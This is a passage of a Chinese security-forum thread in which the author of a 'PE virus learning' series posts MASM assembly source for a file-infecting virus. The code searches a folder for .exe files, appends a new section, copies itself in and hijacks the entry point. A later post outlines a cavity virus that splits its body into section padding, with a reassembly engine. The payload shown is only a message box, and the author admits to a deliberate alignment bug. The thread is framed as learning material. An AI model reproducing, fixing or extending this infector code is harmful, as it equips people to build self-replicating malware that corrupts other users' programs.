首页
社区
课程
招聘
PE病毒学习(一、二、三、四、五、六、七、八)
发表于: 2010-10-23 18:53 52386

PE病毒学习(一、二、三、四、五、六、七、八)

2010-10-23 18:53
52386
收藏
免费 8
支持
分享
最新回复 (57)
雪    币: 145
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
26
用老罗的win32asm两下子就搞定了
2010-10-28 17:56
0
雪    币: 145
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
27
关键是要反调试与变形,加密,与。。。。的结合
2010-10-28 17:57
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
28
驱动?这是ring3的应用程序病毒,编译通不过是因为还有“追加病毒编写(下)”,代码还没发全呢
2010-10-29 19:31
0
雪    币: 611
活跃值: (251)
能力值: ( LV12,RANK:390 )
在线值:
发帖
回帖
粉丝
29
这里需要重定位API不是因为没有自己的输入表吧?
在你写好的病毒中,如果你让它有输入表也可以。这样编译后的可执行文件所有api的调用都变成硬编码的地址。当病毒试图把自己copy到宿主文件时,宿主文件中写入的是原始病毒文件中的函数地址。跟宿主文件自身内存空间中各个函数地址可能不一样。故需要重新定位各个函数的地址。
这个的原理就跟病毒中的变量要重定位一样。
2010-10-29 20:29
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
30
提出这个问题说明你根本没有看我的“前置病毒”的代码,它的感染方式是这样的,首先建立空文件,然后将自己先写入文件,然后将宿主文件追加到文件尾。
运行时,病毒执行完,会在临时文件夹创建一个文件,将原来的宿主文件写入,然后创建新进程,使之运行。

所以我们看到,病毒和宿主文件运行时都有完整的PE结构,自然有都有自己的输入表,哪里还用重定位
2010-10-30 12:30
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
31
原本这一篇应该和上一篇同时发,但是我的原来代码写得很烂,而且由于我的目标是编写一个“追加病毒”框架,代码又要具备良好的模块特征。这两天改来改去,已经头脑混乱了,所以还是先发文章把原来的代码挂上,有时间再改,我会配上说明。

  另外提一句,我把一个bug写再AddSection这个函数里,很多教学码也故意写这个错误,这个错误本意是修改由于PE文件头的修改使“xx值”应适当变化,实际写入的是空位置,这个值不应该变化,这个画蛇添足的行为会导致被感染文件出现一个对齐问题的错误,使系统认为它不是一个有效文件。自己独立写出一个AddSection函数(汇编里不叫函数,应该叫过程),是很有好处的。

  如果你水平足够修改这个bug,并不是所有被感染.exe文件都能正常运行,由于这只是一个练习病毒,缺少很多东西,我测试时用的是《格式工厂》,建议使用这个。测试时留个备份,这个测试病毒只会感染自己所在文件夹里.exe文件。

;///////////////////Infect.asm  

;打开病毒程序本身
  push MAX_PATH
  lea  eax,szLocalFilePath
  push eax
  push dword ptr 0h
  call aGetModuleFileNameA
  
  push dword ptr 0h
  push dword ptr 0h
  push OPEN_EXISTING
  push dword ptr 0h
  push FILE_SHARE_READ
  push GENERIC_READ
  lea  eax,szLocalFilePath
  push eax
  call aCreateFileA
  mov  stLocalFile.hFile,eax
  
  push dword ptr 0h
  push dword ptr 0h
  push dword ptr 0h
  push PAGE_READONLY
  push NULL
  push stLocalFile.hFile
  call aCreateFileMappingA
  mov stLocalFile.hMap,eax
  
  push dword ptr 0h
  push dword ptr 0h
  push dword ptr 0h
  push FILE_MAP_READ
  push stLocalFile.hMap
  call aMapViewOfFile
  mov stLocalFile.ImageBase,eax     

;搜索并打开宿主文件  
  lea eax,fd
  push eax
  PushData DataBase,sFindFirstFileA_Param
  call aFindFirstFileA
  mov hFindFirstFile,eax
  mov ecx,3h
Find_NextFile:
  push ecx  
  push dword ptr 0h
  push dword ptr 0h
  push OPEN_EXISTING
  push dword ptr 0h
  push FILE_SHARE_READ
  push GENERIC_READ OR GENERIC_WRITE
  lea  eax,fd.cFileName
  push eax
  call aCreateFileA
TestFile:   
  cmp eax,INVALID_HANDLE_VALUE
  jnz SearchFileEnd
  lea eax,fd
  push eax
  push hFindFirstFile
  call aFindNextFileA
  pop ecx
  loop Find_NextFile
  jmp UnloadLocalFile
SearchFileEnd:
  mov stHostFile.hFile,eax
  
  push dword ptr NULL
  push stHostFile.hFile
  call aGetFileSize
  mov  HostFileSize,eax

  add  HostFileSize,1000h
  
  push dword ptr NULL
  push HostFileSize
  push dword ptr 0h
  push PAGE_READWRITE
  push dword ptr NULL
  push stHostFile.hFile
  call aCreateFileMappingA
  mov stHostFile.hMap,eax
   
  push HostFileSize
  push dword ptr 0h
  push dword ptr 0h
  push FILE_MAP_WRITE or FILE_MAP_READ
  push stHostFile.hMap
  call aMapViewOfFile
  mov stHostFile.ImageBase,eax
  
;修改PE头,增加PE节,调用My_Function.asm里的 AddSection
;该函数返回新增节首地址,病毒代码写在这里
  push dword ptr VirusSize
  PushData DataBase,sNewSectionName
  push stHostFile.ImageBase
  call AddSection
;提取新节的一些关键值  
  mov  NewSectionTable,eax
  push dword ptr[eax+14h]
  pop Virus_OEP_File_Offset
  push dword ptr[eax+0ch]
  pop Virus_OEP_Map_Offset
  
;注入代码
  mov edi,Virus_OEP_File_Offset
  add edi,stHostFile.ImageBase
  mov esi,DataBase
  sub esi,offset Data-offset Start
  mov ecx,VirusSize
Copy_CodeOfVirus:
  lodsb
  stosb
  loop Copy_CodeOfVirus
  mov eax,NewSectionTable
  mov ecx,[eax+10h]
  sub ecx,dword ptr VirusSize
  xor eax,eax
  rep stosb
;修改写入新入口点,保存就入口点
  mov edi,stHostFile.ImageBase
  mov edi,[edi+3ch]
  add edi,stHostFile.ImageBase
  mov esi,NewSectionTable
  push dword ptr[edi+28h]   
  push dword ptr[esi+0ch]
  pop  dword ptr[edi+28h]
   

  mov edi,Virus_OEP_File_Offset
  add edi,stHostFile.ImageBase
  add edi,offset Data-offset Start
  add edi,aOEP_HostFile
  pop dword ptr[edi]
  mov esi,stHostFile.ImageBase
  mov esi,[esi+3ch]
  add esi,stHostFile.ImageBase
  mov eax,[esi+34h]
  add [edi],eax

;/////////////////////////////My_Function.asm
My_Get_API_Address proc uses ebx ecx edi esi, Base:dword,sFunctionName:dword
LOCAL NumberOfName:dword
LOCAL AddressOfFunctions:dword
LOCAL AddressOfNames:dword
LOCAL AddressOfOrdinarls:dword
;定位输出表
  mov ebx,Base
  mov eax,[ebx+3ch]
  mov eax,[ebx+eax+78h]
  add eax,ebx
;取出输出表中一些有用的值   
  mov  ebx,[eax+18h]
  mov  NumberOfName,ebx
  mov  ebx,[eax+1ch]
  add  ebx,Base
  mov  AddressOfFunctions,ebx
  mov  ebx,[eax+20h]
  add  ebx,Base
  mov  AddressOfNames,ebx
  mov  ebx,[eax+24h]
  add  ebx,Base
  mov  AddressOfOrdinarls,ebx
;根据函数名找出函数ID
  xor eax,eax
  mov edi,AddressOfNames
  mov ecx,NumberOfName
  
  LoopNumberOfName:
        mov esi,sFunctionName
        push eax
        mov ebx,[edi]
        add ebx,Base
        Match_API:
         mov al,byte ptr[ebx]
         cmp al,[esi]
         jnz Not_Match
         or al,0h
         jz GetKernel_API_Index_Found
         inc ebx
         inc esi
         jmp Match_API
        Not_Match:
        pop eax
        inc eax
        add edi,4h
  loop LoopNumberOfName
GetKernel_API_Index_Found:
  pop eax  
;用函数ID找出函数入口点  
Get_API_Address:  
  mov ebx,AddressOfOrdinarls
  movzx eax,word ptr[ebx+eax*2]
  imul eax,4h
  add  eax,AddressOfFunctions
  mov  eax,[eax]
  add  eax,Base
  ret
My_Get_API_Address endp

AddSection proc uses ebx ecx edi esi, ImageBase:LPVOID,sSectionName:LPVOID,dwSectionSize:DWORD
LOCAL pNt_Header:dword
LOCAL FileAlignment:dword
LOCAL MapAlignment:dword
;定位NT头
  mov esi,ImageBase
  mov esi,[esi+3ch]
  add esi,ImageBase
  mov pNt_Header,esi
;取NT头的一些值FileAlignment、SectionAlignment、NumberOfSection,且NumberOfSection加一
  movzx ecx,word ptr[esi+06h]  
  inc dword ptr [esi+06h]
  push dword ptr[esi+38h]
  pop MapAlignment
  push dword ptr[esi+3ch]
  pop FileAlignment

;到新区块表其实地址
  mov eax,sizeof IMAGE_SECTION_HEADER
  mul ecx
  add esi,eax
  add esi,sizeof IMAGE_NT_HEADERS

;////////////////////////////////向新区块表写入数据
;写入name:节名称
  push esi
  lea edi, [esi]
  mov esi,sSectionName
  mov ecx,8h
CopySectionNameLoop:   
  lodsb
  stosb  
  loop CopySectionNameLoop
  pop esi
;写入VirtualSize
  push dwSectionSize
  pop  dword ptr[esi+08h]
;写入VirtualAddress:镜像相当虚拟地址
  push esi
  sub esi,sizeof IMAGE_SECTION_HEADER
  push MapAlignment
  push dword ptr[esi+08h]
  call PE_Align
  add eax,[esi+0ch]
  pop esi
  mov [esi+0ch],eax
;写入SizeOfRawData:文件对齐后大小
  push FileAlignment
  push dwSectionSize
  call PE_Align
  mov [esi+10h],eax
;写入PointerToRawData
  push esi
  sub esi,sizeof IMAGE_SECTION_HEADER
  mov eax,[esi+10h]
  add eax,[esi+14h]
  pop esi
  mov [esi+14h],eax
;写入PointerToRelocation、PointerToLinenumbers、NumberOfReloations、NumberOfLinenumbers
;:对Exe非调试文件无意义,写为0
  xor eax,eax
  mov [esi+18h],eax
  mov [esi+1ch],eax
  mov [esi+20h],ax
  mov [esi+22h],ax      
;写入Charcteristics:属性
  push 60000020h
  pop dword ptr[esi+24h]
;////////////////////////////新节表写完,在修改NT头
  mov edi,pNt_Header
  mov eax,[esi+10h]
  add [edi+50h],eax
  mov eax,sizeof IMAGE_SECTION_HEADER   
  add [edi+54h],eax
;返回新节表位置
  mov eax,esi  
  ret
endp
PE_Align proc uses ecx edx, dwTarNum : DWORD, dwAlignTo : DWORD
     mov ecx, dwAlignTo
     mov eax, dwTarNum
     xor edx, edx
     div ecx
     cmp edx, 0
     jz AlreadyAligned
     inc eax
AlreadyAligned:
     mul ecx      
     ret

PE_Align endp  

;/////////////////////////////////Destory.asm

DestoryModule:  
  push MB_OK
  PushData DataBase,sCaption
  PushData DataBase,sContext
  push NULL
  call aMessageBoxA
DestoryModule_End:

;////////////////////////////CleanUp_and_jmp.asm

  push stHostFile.ImageBase
  call aUnmapViewOfFile
  push stHostFile.hMap
  call aCloseHandle
  push stHostFile.hFile
  call aCloseHandle
UnloadLocalFile:

  push stLocalFile.ImageBase
  call aUnmapViewOfFile
  push stLocalFile.hMap
  call aCloseHandle
  push stLocalFile.hFile
  call aCloseHandle
  
  mov eax,DataBase
  add eax,aOEP_HostFile
  jmp dword ptr[eax]

;////////////////////////////My_Macro.asm

PE_FileInformation struct
hFile HANDLE 0h
hMap HANDLE 0h
ImageBase LPVOID 0h
PE_FileInformation ends

PushData macro Base,OffsetAddress
  mov eax,Base
  add eax,OffsetAddress
  push eax
ENDM

Using_API_LoadLibraryA macro Value,Base,OffsetAddress
  PushData Base,OffsetAddress
  call aLoadLibraryA
  mov Value,eax
ENDM

Using_API_GetProcAddress macro Value,Base,OffsetAddress,hDLL
  PushData Base,OffsetAddress
  Push hDLL
  call aGetProcAddress
  mov Value,eax
ENDM

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/10/30/5975966.aspx
上传的附件:
2010-10-30 13:26
0
雪    币: 656
活跃值: (448)
能力值: ( LV12,RANK:360 )
在线值:
发帖
回帖
粉丝
32
顶,楼主Q多少
2010-10-30 13:38
0
雪    币: 13
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
33
很好很强大
膜拜楼住
2010-10-30 14:45
0
雪    币: 1602
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
34
又见感染自身的virus
2010-10-30 15:19
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
35
首先感谢你仔细看了代码,但你说的这种想象不会出现,因为在搜索宿主文件之前,病毒已经用CreateFile以“只读共享方式”打开自身,搜索宿主文件是用CreateFile以“可读可写方式”打开文件,如果它搜索到自己本身的文件,会打开失败,然后转向搜索其他文件
2010-10-31 10:54
0
雪    币: 314
活跃值: (271)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
36
期待下一贴
2010-11-19 13:53
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
37
这类病毒名字很多,选这个名字主要是它比较形象说明其感染方式,即将病毒代码分成多份,分别注入到程序各节由于对齐产生的空白中。

1.核心——病毒描述表

  将病毒代码分割成多份,分别注入到未知地址的区域内,却能完整运行。这看似神奇,其实实现方法却很简单———建立病毒分割描述表

病毒分割描述表举例(汇编):

Virus_Distribution struct;病毒片段描述符

   Code_Base     dword  0;该病毒片段的起始地址
   Code_Length  dword  0;该病毒片段的长度
Virus_Distribution ends

Distribution_Number=0AH  

  Virus_Distribution<401000h,VirusSize> ;病毒本身第一次编译时,必然和一般程序一样EOP默认是401000h,

                                                                 ;长度VirusSize,且没有被分割
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>

分析:这里使用固定十组病毒片段描述符,因为PE文件节的个数很少能超过十个。当然也可使用根据文件节数相应调整的描述表,但是这样不但要增加这对病毒描述操作的代码。

2.病毒运行方案

   由于代码分成多份,散乱的分布在文件中,怎么能将病毒连接起来运行呢,严格说方法很多,但比较简单可行的有两种方案:

   ①物理连接:建立初始化引擎,申请一块连续的空白区域,把按照病毒描述表所有片段按顺序拷贝到哪里,具体方方法                           

                     CreateFileMappingA,也可抬高堆栈

   ②逻辑连接:建立地址转换引擎,根据病毒描述表进行地址转换,让病毒代码逻辑上认为自己运行在连续的内存区域里

   引擎设计的注意的问题:①引擎本身不可被分割,插入时应专门为引擎检查,空白区域是否能完整地容纳下引擎代码。

                                    ②引擎应该尽量小,因为空白区域是由于文件对齐产生的,对齐值默认200H。

举例(汇编):

Start:

;病毒初始化引擎////////////////////////////////
Engine_for_Initialization proc
   push ebp
   mov  ebp,esp        
   sub  esp,VirusStackSize;抬高堆栈
   call Initialize_Virus_Code

Distribution_of_Virus_Code_Table:;病毒代码分布表,使用结构体描述。固定十组,
Distribution_Offset=$-Start
Distribution_Number=0Ah
Virus_Distribution<401000h,VirusSize>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>

Initialize_Virus_Code:
   pop  ebx
   xor  eax,eax
   lea  edi,[esp]

Copy_Next_CodeSection:  
   mov  esi,[ebx+eax*(sizeof Virus_Distribution)]
   and  esi,esi
   jz   Initialize_End
   mov  ecx,[ebx+eax*(sizeof Virus_Distribution)+4]
Copy_Virus_Code:
   lodsb
   stosb
loop Copy_Virus_Code  
   inc  eax
   cmp  eax,0Ah
   jnz  Copy_Next_CodeSection
   Initialize_End:
;跳转到堆栈中的病毒代码,执行完返回宿主程序原入口点
   mov  eax,esp
   add  eax,VirusEngine_Size
   call eax
;跳转到宿主程序
  Jmp_Host_File:
   jmp  eax
Engine_for_Initialization endp
VirusEngine_Size =$-Start

;真正的病毒代码/////////////////////////////////////////////////
VirusCode proc uses ebx ecx edx esi edi
Include Data_and_Relocation.asm
Include Infect_HostFile.asm
Include Destory.asm
mov  eax,Local_HostFile_OEP
ret
VirusCode endp
VirusSize =$-Start

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/11/27/6039603.aspx
2010-11-27 17:01
0
雪    币: 239
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
38
lz能不能总结成PDF,这样看很累
2010-12-20 12:42
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
39
我的博客http://blog.csdn.net/yangbostar格式好一些,pdf一直都没做是因为有些地方写的不够简洁,最近比较贪玩,没有时间改
2010-12-20 12:52
0
雪    币: 322
活跃值: (113)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
40
好东西,一定要看看
2010-12-21 08:59
0
雪    币: 38
活跃值: (52)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
41
mark--------------------
2010-12-21 09:05
0
雪    币: 251
活跃值: (77)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
42
我是来围观楼主说的国外的XXXX神秘技术的
2010-12-21 13:30
0
雪    币: 306
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
43
。同围观。
2010-12-21 16:25
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
44
不好意思,最快得一月份能写出一部分。但是跟病毒框架无关
2010-12-22 18:46
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
45
写的不错,学习一下,
2010-12-23 11:07
0
雪    币: 585
活跃值: (578)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
46
顶LZ
看着都懂,都是些常用技术,,如果自己写的话,肯定要遇到些困难,,
哈哈,,
先标记起,,
等以后对**不满了, 哥哥就写几个病毒奉献奉献
2010-12-28 15:27
0
雪    币: 230
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
47
我还是喜欢把病毒分成片段插入感染。
2010-12-30 14:07
0
雪    币: 135
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
48
帮顶!谢谢楼主分享!感谢楼主的辛苦工作!
2010-12-30 16:42
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
49
PE病毒学习(八)就是专门讲这个问题
2010-12-30 18:21
0
雪    币: 212
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
50
楼主的博客更是好文不少啊!
2011-8-9 16:48
0
游客
登录 | 注册 方可回帖
返回
//